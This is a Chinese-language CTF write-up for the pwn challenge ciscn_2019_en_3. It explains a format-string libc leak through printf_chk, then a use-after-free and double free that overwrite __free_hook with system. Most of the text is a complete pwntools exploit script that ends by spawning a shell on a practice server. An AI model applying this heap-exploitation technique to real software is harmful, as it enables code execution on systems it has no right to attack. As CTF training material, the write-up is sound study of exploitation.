image.png
    多了个fortify,这个保护其实没啥,就是一些漏洞溢出函数会有个保护,就比如这样
    image.png
    printf_chk这里其实就有个格式化字符串漏洞,只不过这样%n$p这样都不能用,不过我们可以这样%p%p这样泄露

    1. io.recvuntil("What's your name?")
    2. io.sendline("%p%p%p%p%p%p")
    3. set_buf = int(io.recvuntil("Please")[51:65],16)-9
    4. log.success("set_buf---------->"+hex(set_buf))

    image.png
    泄露出了libc的地址
    image.png
    free是不干净的,uaf漏洞,然后这个libc版本是自带double free漏洞
    剩下就是劫持free_hook

    1. from pwn import*
    2. context.log_level='debug'
    3. io = process(['./ciscn_2019_en_3'],env={"LD_PRELOAD":"./libc-2.2764.so"})
    4. io = remote("node4.buuoj.cn","25180")
    5. elf =ELF('./ciscn_2019_en_3')
    6. libc = ELF("./libc-2.2764.so")
    7. def debug():
    8. gdb.attach(io)
    9. pause()
    10. def add(size,value):
    11. io.recvuntil("Input your choice:")
    12. io.sendline('1')
    13. io.recvuntil("Please input the size of story:")
    14. io.sendline(str(size))
    15. io.recvuntil("please inpute the story:")
    16. io.sendline(value)
    17. def free(index):
    18. io.recvuntil("Input your choice:")
    19. io.sendline("4")
    20. io.recvuntil("Please input the index:")
    21. io.sendline(str(index))
    22. io.recvuntil("What's your name?")
    23. io.sendline("%p%p%p%p%p%p")
    24. set_buf = int(io.recvuntil("Please")[51:65],16)-9
    25. log.success("set_buf---------->"+hex(set_buf))
    26. io.sendline("1")
    27. libcbase = set_buf - libc.sym["_IO_file_setbuf"]
    28. log.success("libcbase--------->"+hex(libcbase))
    29. system_addr = libcbase + libc.sym["system"]
    30. free_hook = libcbase + libc.sym["__free_hook"]
    31. add(0x20,"aaa") #0
    32. add(0x20,"/bin/sh\x00") #1
    33. free(0)
    34. free(0)
    35. add(0x20,p64(free_hook))
    36. add(0x20,p64(system_addr))
    37. add(0x20,p64(system_addr))
    38. free(1)
    39. #debug()
    40. io.interactive()